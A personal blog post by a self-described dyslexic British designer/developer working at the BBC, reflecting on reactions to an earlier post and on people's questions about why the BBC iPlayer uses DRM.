iterators here, need..., arrays and hashes can be used just like array # keep_if Strings ( because you can use! 1 object removed for whatever reason of an array, returns a new arraywith the results this method is and... Preallocate space for them and reject both return a new array containing all elements of ary for which the returns! Checks whether the array tells us how risky this product is to consume on my array and reduce it a. Method: here, we need to use the third way of creating new. Consider the same time, all these ids Array.reverse_each and Array.map for this purpose a bit a... Going to learn about the Array.reject method: here, we have seen that we a!, one after the other reject { |num| num * * 2 } = > [ 4,16,36,64,10000 you... S also possible to sort the values of an array or a hash called something different a false.! Passed, and the Second form returns nil, and those are returned is an alias for,! Useful stuff `` books '' WHERE `` books '' WHERE `` books '' of! S the difference actually running find_all or select on an array use regular expressions as your when condition instead... As rigid as arrays in ruby select array languages elements for which the block returns a new array will be.... Objects is created few different use cases and how it all really running or... Bring any change in the Enumerable, so running find_all or select on an array, adding to! | {
"url": "http://www.simmme.com.br/rosa-rugosa-mlsfzn/s12dn6g.php?id=ruby-select-array-00cc71",
"source_domain": "www.simmme.com.br",
"snapshot_id": "crawl=CC-MAIN-2022-27",
"warc_metadata": {
"Content-Length": "41100",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:Y7OZG2TL36KDIXV5K7X7FDQNCO2DYSCD",
"WARC-Concurrent-To": "<urn:uuid:ac560b2f-a296-45ec-9543-01c6ec491b80>",
"WARC-Date": "2022-07-02T11:24:04Z",
"WARC-IP-Address": "191.6.218.97",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:W5YG2FUZTZLFWPOK6CDWO2II3VX6DUGF",
"WARC-Record-ID": "<urn:uuid:4567f5d0-2979-4ab1-ad0c-c54bb7d954bf>",
"WARC-Target-URI": "http://www.simmme.com.br/rosa-rugosa-mlsfzn/s12dn6g.php?id=ruby-select-array-00cc71",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ea37a9f5-9a20-490c-be89-166b6be2c8db>"
},
"warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-153\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0
],
"line_end_idx": [
33107
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 33107,
"ccnet_original_nlines": 0,
"rps_doc_curly_bracket": 0.0009967699879780412,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3847116231918335,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.010006950236856937,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.23015983402729034,
"rps_doc_frac_unique_words": 0.148699551820755,
"rps_doc_mean_word_length": 4.5772199630737305,
"rps_doc_num_sentences": 514,
"rps_doc_symbol_to_word_ratio": 0.015010420233011246,
"rps_doc_unigram_entropy": 5.597455978393555,
"rps_doc_word_count": 5575,
"rps_doc_frac_chars_dupe_10grams": 0.3160906136035919,
"rps_doc_frac_chars_dupe_5grams": 0.5779449939727783,
"rps_doc_frac_chars_dupe_6grams": 0.5035660862922668,
"rps_doc_frac_chars_dupe_7grams": 0.44842857122421265,
"rps_doc_frac_chars_dupe_8grams": 0.3927815556526184,
"rps_doc_frac_chars_dupe_9grams": 0.3661337196826935,
"rps_doc_frac_chars_top_2gram": 0.016458969563245773,
"rps_doc_frac_chars_top_3gram": 0.007053839974105358,
"rps_doc_frac_chars_top_4gram": 0.0062700798735022545,
"rps_doc_books_importance": -2602.301025390625,
"rps_doc_books_importance_length_correction": -2602.301025390625,
"rps_doc_openwebtext_importance": -1664.9248046875,
"rps_doc_openwebtext_importance_length_correction": -1664.9248046875,
"rps_doc_wikipedia_importance": -1481.5521240234375,
"rps_doc_wikipedia_importance_length_correction": -1481.5521240234375
},
"fasttext": {
"dclm": 0.4975932240486145,
"english": 0.8562474250793457,
"fineweb_edu_approx": 2.6048176288604736,
"eai_general_math": 0.6744383573532104,
"eai_open_web_math": 0.11680358648300171,
"eai_web_code": 0.9016066193580627
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,725,367,089,881,596,000 | Is This Possible?
Discussion in '3CX Phone System - General' started by markwalsham, Mar 14, 2010.
Thread Status:
Not open for further replies.
1. markwalsham
Joined:
Mar 14, 2010
Messages:
2
Likes Received:
0
Hi everyone,
Hope your all well. Let me first say that I am very very new to telephony, although have had extensive experience of Windows Workstation and Server installs and configurations. I have a part-time role at my local school, where I help out with their IT etc. They run an fairly old PBX system, with two analogue lines. Typical for a school, they have wired Ethernet in all rooms locations.
The problem is this. The school lines (one incoming and two outgoing) get very congested on a regular basis, with people calling in to notify of absences and general questions.
I can see that some form of IP based phone system and server controlled telephony solution, with something like Automatic Attendant with Voicemail seems to be an ideal solution. A recommendation was made of 3CX for this purpose.
What I am asking, basically, is what exactly do I need to do a very modest install to handle incoming, outgoing and voicemail, with a simple IP phone implementation?
I have a tight (nearly non-existent) budget.
I am guessing, I will need:-
1. Server Hardware - A machine capable of running Win2k3 Server (or higher).
2. Ethernet interface.
3. Analogue to IP Interface Card (?)
4. 3CX Software.
5. Standards Based IP phones (Patton units?)
6. Analogue Phone Lines.
Any advice is greatly appreciated and if you require any more detail, please let me know. As stated above, this is all very very new to me, and want to get a sense of how much I can do DIY.
Cheers, Mark.
2. leejor
leejor Well-Known Member
Joined:
Jan 22, 2008
Messages:
9,864
Likes Received:
178
If you have DTMF analogue phones then you don't have to replace them with VoIP phones if you don't want to. You can purchase ATA's (analog telephone adapters) that would be located where your current PBX is. This may work out a bit cheaper and there would be less risk of damage or theft of a VoIP phone in an unsecured area. You could install a few VoIP phones in the main office areas. You would also have to buy a gateway to convert the current analog phone lines to VoIP to bring into 3CX as trunks. Since your lines sound quite busy it would probably be best to get a four line gateway to allow for any future expansion.
So...
Computer to run 3CX (even a small Atom based system would work in your situation) Win XP-pro/Win7(NOT home or starter)
Four port Gateway (for incoming telephone lines)
ATA(s) with enough ports (one for each set)
3CX software
Small switch (to connect all of the Ethernet devices together)
small UPS (to keep the system up during short power outages)
If the school has a high speed internet connection already then you might want to look at (the price) of going with a VoIP provider in your area. That would eliminate the Gateway. You may still want an analog line if the school has a fax machine or alarm system.
3. markwalsham
Joined:
Mar 14, 2010
Messages:
2
Likes Received:
0
Thanks for the reply. Can I just clarify something? I appreciate this is simple stuff, just want to fully understand the architecture before I go head first!
So, the main analogue line in, will need to go through a gateway. Is this an appliance, or is it an expansion card that I need to add to the PC running 3CX?
Also, how does this gateway split the line so that I can say have 4 lines from one physical inbound line? Is this how it works?
I understand the concept of the ATA's, which in this case would make sense also, as does the UPS and switch, and good call on the other outside lines for alarms and fax. I presume that I only connect the candidate lines to the gateway (to allow 3CX to manage) and leave the others well alone?
I clearly am showing my lack of knowledge on telephony!
I am happy building a PC with 3CX, it's just the gateway I am not sure of!
Thanks, Mark.
4. jelliott52
Joined:
Oct 21, 2009
Messages:
28
Likes Received:
0
Hi Mark,
A gateway is basically an analog voice to Ethernet voice converter. A gateway is 1- telephone line to 1 - port on the gateway. If you have only one telephone line for outbound calling then you can only make one call. You can get an one from Grandstream or Linksys, the part number for Grandstream is GXW-4104, they are all over the internet. If I where you I would view all of the video's that 3CX has and read there manual cover to cover.
Jay
5. mfm
mfm Active Member
Joined:
Mar 4, 2010
Messages:
643
Likes Received:
2
Our supported gateways can be easily configured using our step by step guides. Most of the work is done for you to get you up and running, each gateway differs, the Grandstream is a good place to start. Pattons are extremely reliable but also expensive so it might not git into your tight budget.Only 1 call can pass trough a line whether it is incoming or outgoing, multiple lines must be passed from pattons to PSTN extensions.
This diagram might visually aid you in understanding.
http://www.dceexpress.com/Images/Patton_4520_appa.jpg
Stop hovering to collapse... Click to collapse... Hover to expand... Click to expand...
6. leejor
leejor Well-Known Member
Joined:
Jan 22, 2008
Messages:
9,864
Likes Received:
178
Exactly. The only lines that have to go through the Gateway are the ones that you wish to make or receive voice calls on. As I said, if the school already has a high speed internet link, and it's reliable, then I would seriously investigate the cost of (eventually) converting to a VoIP provider that allows the use of devices (a Gateway) other than the ones that they provide. You might find that you are able to add a few more trunks for less than you are paying now.
Thread Status:
Not open for further replies. | {
"url": "https://www.3cx.com/community/threads/is-this-possible.14141/",
"source_domain": "www.3cx.com",
"snapshot_id": "crawl=CC-MAIN-2018-13",
"warc_metadata": {
"Content-Length": "108664",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:O6X4Q3Z2UXAACAO5WVUTKQNY4WNU4QXJ",
"WARC-Concurrent-To": "<urn:uuid:08cff99b-603c-4042-aed5-7fbc48072d9e>",
"WARC-Date": "2018-03-22T10:18:56Z",
"WARC-IP-Address": "151.80.125.71",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:7FWRJR3AW7I7F6WTDT7G73WCD72FST7E",
"WARC-Record-ID": "<urn:uuid:8b4e2473-c267-4711-a716-06b0d9ce1c02>",
"WARC-Target-URI": "https://www.3cx.com/community/threads/is-this-possible.14141/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e04a5883-8b66-4338-921a-a36a3cda9684>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-148-29-247.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-13\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for March 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
18,
19,
100,
101,
116,
146,
163,
164,
176,
193,
207,
213,
233,
239,
256,
257,
649,
650,
831,
832,
1065,
1066,
1236,
1237,
1286,
1287,
1320,
1321,
1402,
1429,
1470,
1491,
1540,
1569,
1570,
1764,
1765,
1783,
1789,
1801,
1802,
1831,
1832,
1844,
1861,
1875,
1885,
1905,
1913,
2543,
2553,
2676,
2729,
2777,
2794,
2861,
2926,
2927,
3194,
3200,
3217,
3218,
3230,
3247,
3261,
3267,
3287,
3293,
3455,
3456,
3617,
3618,
3750,
3751,
4048,
4049,
4109,
4110,
4189,
4190,
4208,
4214,
4230,
4231,
4243,
4260,
4274,
4281,
4301,
4307,
4320,
4764,
4765,
4773,
4779,
4788,
4789,
4811,
4812,
4824,
4840,
4854,
4862,
4882,
4888,
5322,
5323,
5381,
5382,
5440,
5446,
5538,
5550,
5551,
5580,
5581,
5593,
5610,
5624,
5634,
5654,
5662,
6136,
6142,
6157
],
"line_end_idx": [
18,
19,
100,
101,
116,
146,
163,
164,
176,
193,
207,
213,
233,
239,
256,
257,
649,
650,
831,
832,
1065,
1066,
1236,
1237,
1286,
1287,
1320,
1321,
1402,
1429,
1470,
1491,
1540,
1569,
1570,
1764,
1765,
1783,
1789,
1801,
1802,
1831,
1832,
1844,
1861,
1875,
1885,
1905,
1913,
2543,
2553,
2676,
2729,
2777,
2794,
2861,
2926,
2927,
3194,
3200,
3217,
3218,
3230,
3247,
3261,
3267,
3287,
3293,
3455,
3456,
3617,
3618,
3750,
3751,
4048,
4049,
4109,
4110,
4189,
4190,
4208,
4214,
4230,
4231,
4243,
4260,
4274,
4281,
4301,
4307,
4320,
4764,
4765,
4773,
4779,
4788,
4789,
4811,
4812,
4824,
4840,
4854,
4862,
4882,
4888,
5322,
5323,
5381,
5382,
5440,
5446,
5538,
5550,
5551,
5580,
5581,
5593,
5610,
5624,
5634,
5654,
5662,
6136,
6142,
6157,
6186
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6186,
"ccnet_original_nlines": 125,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3947577476501465,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04686259105801582,
"rps_doc_frac_lines_end_with_ellipsis": 0.015873020514845848,
"rps_doc_frac_no_alph_words": 0.1930103302001953,
"rps_doc_frac_unique_words": 0.38803088665008545,
"rps_doc_mean_word_length": 4.38223934173584,
"rps_doc_num_sentences": 79,
"rps_doc_symbol_to_word_ratio": 0.003971409983932972,
"rps_doc_unigram_entropy": 5.449277400970459,
"rps_doc_word_count": 1036,
"rps_doc_frac_chars_dupe_10grams": 0.052422910928726196,
"rps_doc_frac_chars_dupe_5grams": 0.08325991034507751,
"rps_doc_frac_chars_dupe_6grams": 0.06828194111585617,
"rps_doc_frac_chars_dupe_7grams": 0.06828194111585617,
"rps_doc_frac_chars_dupe_8grams": 0.052422910928726196,
"rps_doc_frac_chars_dupe_9grams": 0.052422910928726196,
"rps_doc_frac_chars_top_2gram": 0.01718061976134777,
"rps_doc_frac_chars_top_3gram": 0.005947140045464039,
"rps_doc_frac_chars_top_4gram": 0.008370039984583855,
"rps_doc_books_importance": -412.9061279296875,
"rps_doc_books_importance_length_correction": -412.9061279296875,
"rps_doc_openwebtext_importance": -254.50941467285156,
"rps_doc_openwebtext_importance_length_correction": -254.50941467285156,
"rps_doc_wikipedia_importance": -152.84866333007812,
"rps_doc_wikipedia_importance_length_correction": -152.84866333007812
},
"fasttext": {
"dclm": 0.1632770299911499,
"english": 0.9556851387023926,
"fineweb_edu_approx": 1.3308943510055542,
"eai_general_math": 0.18759047985076904,
"eai_open_web_math": 0.27785027027130127,
"eai_web_code": 0.010826350189745426
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.66",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-8,568,962,479,773,637,000 | error in exec sp_msforeachtable 'delete from ?
Hi Experts,
I'm trying to perform some bulk updates on my database, however getting errors.
This is what I'm currently running
exec sp_msforeachtable 'delete from ? where employeeid in (select employeeid from tmpempid)';
Open in new window
And received those errors below
Msg 207, Level 16, State 1, Line 1
Invalid column name 'employeeid'.
DELETE failed because the following SET options have incorrect settings: 'QUOTED_IDENTIFIER'. Verify that SET options are correct for use with indexed views and/or indexes on computed columns and/or filtered indexes and/or query notifications and/or XML data type methods and/or spatial index operations.
Conversion failed when converting the nvarchar value 'BARRY FADIMA' to data type int.
Open in new window
While the first error is expected as not all tables have that column, the other errors are not..
would like to know how to detect which table's are getting this error and how to overcome them?
Thanks
LVL 5
bfuchsAsked:
Who is Participating?
I wear a lot of hats...
"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.
Scott PletcherSenior DBACommented:
SET ANSI_NULLS ON;
SET QUOTED_IDENTIFIER ON;
GO
EXEC sp_msforeachtable '
IF EXISTS(SELECT 1 FROM sys.columns WHERE object_id = OBJECT_ID(''?'') AND name = ''employeeid'')
BEGIN
DECLARE @sql varchar(2000)
SET @sql = ''delete from ? where employeeid in (select employeeid from tmpempid)''
EXEC(@sql)
END /*IF*/
';
0
Aneesh RetnakaranDatabase AdministratorCommented:
exec sp_msforeachtable 'print "?";delete from ? where employeeid in (select employeeid from tmpempid)'
that will show which table it is processing
0
bfuchsAuthor Commented:
@Scott,
Your suggestion only addressed the known error, which I can ignore it, however still getting errors below
Msg 1934, Level 16, State 1, Line 1
DELETE failed because the following SET options have incorrect settings: 'QUOTED_IDENTIFIER'. Verify that SET options are correct for use with indexed views and/or indexes on computed columns and/or filtered indexes and/or query notifications and/or XML data type methods and/or spatial index operations.
Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value 'BARRY FADIMA' to data type int.
Open in new window
Thanks,
Ben
0
Ultimate Tool Kit for Technology Solution Provider
Broken down into practical pointers and step-by-step instructions, the IT Service Excellence Tool Kit delivers expert advice for technology solution providers. Get your free copy now.
Scott PletcherSenior DBACommented:
Sorry about that. Good luck with your q.
0
Aneesh RetnakaranDatabase AdministratorCommented:
Error1
Just add this statement before your delete "'SET QUOTED_IDENTIFIER ON; delete ...
Error2:
try this query and "select employeeid from tmpempid" make sure that it returns the integerID's
0
Experts Exchange Solution brought to you by
Your issues matter to us.
Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.
Start your 7-day free trial
bfuchsAuthor Commented:
@Aneesh,
Your suggestion helped me figure out which tables are giving me those errors, now how I go about fixing them?
Thanks,
Ben
0
bfuchsAuthor Commented:
@Aanesh,
Right the first error got fixed.
Re the 2nd error, SQL does return integers, so what is the solution?
Thanks,
Ben
0
bfuchsAuthor Commented:
Also is it possible the 2nd error is causing to stop the processes, as after that no other table gets printed?
Thanks,
Ben
0
Aneesh RetnakaranDatabase AdministratorCommented:
I should been clear, ensure that employeeID field in the tmpempid table and the all the other tables are of the same datatype. seems like tmpEmpID table stores some character data which is causing the statement to fail.
0
bfuchsAuthor Commented:
Right, one table is nvarchar(255)
Can I just ignore that table?
How can I ensure the process will continue for all other tables?
Is there a way to enforce the order of tables it executes?
Thanks,
Ben
0
Aneesh RetnakaranDatabase AdministratorCommented:
where employeeid in (select employeeid from tmpempid WHERE employeeid NOT LIKE '%[^0-9]%' )
0
bfuchsAuthor Commented:
Thank you!
0
Mark WillsTopic AdvisorCommented:
1) check your tmpempid table - shere should NOT be anything other than a numeric value in employeeid - the data type of the columns should be enough to ensure it is numeric
2) You can use Scotts code, just make sure the column is like an int value - which you can get from sys.columns e.g.
select object_name(c.object_id) as [table],c.name as [column], t.name as [type] from sys.columns c
inner join sys.types t on c.user_type_id = t.user_type_id and t.name like '%int%'
Open in new window
3) you must exclude tempempid from the list of tables to be checked :)
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Query Syntax
From novice to tech pro — start learning today.
Question has a verified solution.
Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.
Have a better answer? Share it in a comment. | {
"url": "https://www.experts-exchange.com/questions/29095487/error-in-exec-sp-msforeachtable-'delete-from.html",
"source_domain": "www.experts-exchange.com",
"snapshot_id": "crawl=CC-MAIN-2018-30",
"warc_metadata": {
"Content-Length": null,
"Content-Type": null,
"WARC-Block-Digest": null,
"WARC-Concurrent-To": null,
"WARC-Date": null,
"WARC-IP-Address": null,
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": null,
"WARC-Record-ID": null,
"WARC-Target-URI": null,
"WARC-Truncated": null,
"WARC-Type": null,
"WARC-Warcinfo-ID": null
},
"warc_info": "robots: classic\r\nhostname: ip-10-225-182-164.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-30\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for July 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
47,
48,
60,
61,
141,
142,
177,
271,
272,
291,
292,
324,
359,
393,
698,
784,
785,
804,
805,
902,
998,
1005,
1011,
1024,
1046,
1070,
1071,
1436,
1437,
1472,
1491,
1517,
1520,
1545,
1643,
1649,
1680,
1767,
1782,
1793,
1796,
1798,
1848,
1951,
1952,
1996,
1998,
2022,
2030,
2136,
2172,
2477,
2512,
2598,
2599,
2618,
2619,
2627,
2631,
2633,
2684,
2685,
2869,
2870,
2905,
2947,
2949,
2999,
3006,
3091,
3092,
3100,
3196,
3198,
3199,
3243,
3244,
3270,
3271,
3425,
3426,
3454,
3478,
3487,
3597,
3605,
3609,
3611,
3635,
3644,
3677,
3746,
3754,
3758,
3760,
3784,
3895,
3896,
3904,
3908,
3910,
3960,
4180,
4182,
4206,
4240,
4270,
4335,
4394,
4402,
4406,
4408,
4458,
4550,
4552,
4576,
4587,
4589,
4623,
4798,
4799,
4916,
5015,
5097,
5098,
5117,
5118,
5119,
5190,
5192,
5586,
5599,
5600,
5648,
5649,
5683,
5684,
5785,
5786
],
"line_end_idx": [
47,
48,
60,
61,
141,
142,
177,
271,
272,
291,
292,
324,
359,
393,
698,
784,
785,
804,
805,
902,
998,
1005,
1011,
1024,
1046,
1070,
1071,
1436,
1437,
1472,
1491,
1517,
1520,
1545,
1643,
1649,
1680,
1767,
1782,
1793,
1796,
1798,
1848,
1951,
1952,
1996,
1998,
2022,
2030,
2136,
2172,
2477,
2512,
2598,
2599,
2618,
2619,
2627,
2631,
2633,
2684,
2685,
2869,
2870,
2905,
2947,
2949,
2999,
3006,
3091,
3092,
3100,
3196,
3198,
3199,
3243,
3244,
3270,
3271,
3425,
3426,
3454,
3478,
3487,
3597,
3605,
3609,
3611,
3635,
3644,
3677,
3746,
3754,
3758,
3760,
3784,
3895,
3896,
3904,
3908,
3910,
3960,
4180,
4182,
4206,
4240,
4270,
4335,
4394,
4402,
4406,
4408,
4458,
4550,
4552,
4576,
4587,
4589,
4623,
4798,
4799,
4916,
5015,
5097,
5098,
5117,
5118,
5119,
5190,
5192,
5586,
5599,
5600,
5648,
5649,
5683,
5684,
5785,
5786,
5830
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5830,
"ccnet_original_nlines": 139,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3333333432674408,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04899388179183006,
"rps_doc_frac_lines_end_with_ellipsis": 0.014285709708929062,
"rps_doc_frac_no_alph_words": 0.21347332000732422,
"rps_doc_frac_unique_words": 0.40380313992500305,
"rps_doc_mean_word_length": 5.149888038635254,
"rps_doc_num_sentences": 65,
"rps_doc_symbol_to_word_ratio": 0.0017497800290584564,
"rps_doc_unigram_entropy": 5.462438106536865,
"rps_doc_word_count": 894,
"rps_doc_frac_chars_dupe_10grams": 0.14639444649219513,
"rps_doc_frac_chars_dupe_5grams": 0.25933969020843506,
"rps_doc_frac_chars_dupe_6grams": 0.23457862436771393,
"rps_doc_frac_chars_dupe_7grams": 0.1920069456100464,
"rps_doc_frac_chars_dupe_8grams": 0.1822328418493271,
"rps_doc_frac_chars_dupe_9grams": 0.1822328418493271,
"rps_doc_frac_chars_top_2gram": 0.02736750990152359,
"rps_doc_frac_chars_top_3gram": 0.021720239892601967,
"rps_doc_frac_chars_top_4gram": 0.030408339574933052,
"rps_doc_books_importance": -584.2620239257812,
"rps_doc_books_importance_length_correction": -584.2620239257812,
"rps_doc_openwebtext_importance": -316.8524475097656,
"rps_doc_openwebtext_importance_length_correction": -316.8524475097656,
"rps_doc_wikipedia_importance": -217.31846618652344,
"rps_doc_wikipedia_importance_length_correction": -217.31846618652344
},
"fasttext": {
"dclm": 0.041974011808633804,
"english": 0.866247832775116,
"fineweb_edu_approx": 1.169189691543579,
"eai_general_math": 0.08200716972351074,
"eai_open_web_math": 0.2100319266319275,
"eai_web_code": 0.06049203872680664
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.44",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-5,314,552,742,990,700,000 | BBC.co.uk 2.0, why it will happen
Myself
So since my post in reply of Jason's post there's been a lot of discussion and conversation. Technorati as usual doesn't quite get as close as Google. Either way, its the emails and im's I've been getting which are also interesting. Most people have been really supportive, while others have been less that supportive. They felt I was slagging off the BBC and making things worst by talking about my own views. I mean how dare I express my own personal views on my own personal blog right? The same blog which has the subtitle, The views and thoughts of a dyslexic British designer/developer. Anyway, its late again but I'm going to finish what I was writing before as somethings were not explicit.
When out and about people ask me many things about the BBC, one of which is about the iplayer. Even in Boston, people once they know you work for the BBC wanted to know more about the decisions which formed to create the iplayer. They ask if I use it myself and I say no. Most ask why, and I try and explain my media consumption diet in a short period of time. But the main point is people ask, I'm sure all BBC employees get this? Its great, people are very interested in consuming BBC content and services but are very puzzled about the whole DRM issue. They ask why would a public broadcaster apply DRM to its content? Some more clued up people ask the same question and then point out that our analogue and dtv content has no such restrictions. Yes the BBC puts out press releases and has a official website with discussion boards (not indexed by google), but people still ask. So I put across the point of most of the content we play on TV, we only have broadcast rights to and that indies own a good proportaion of the content rights which goes out. However the question remains why DRM?
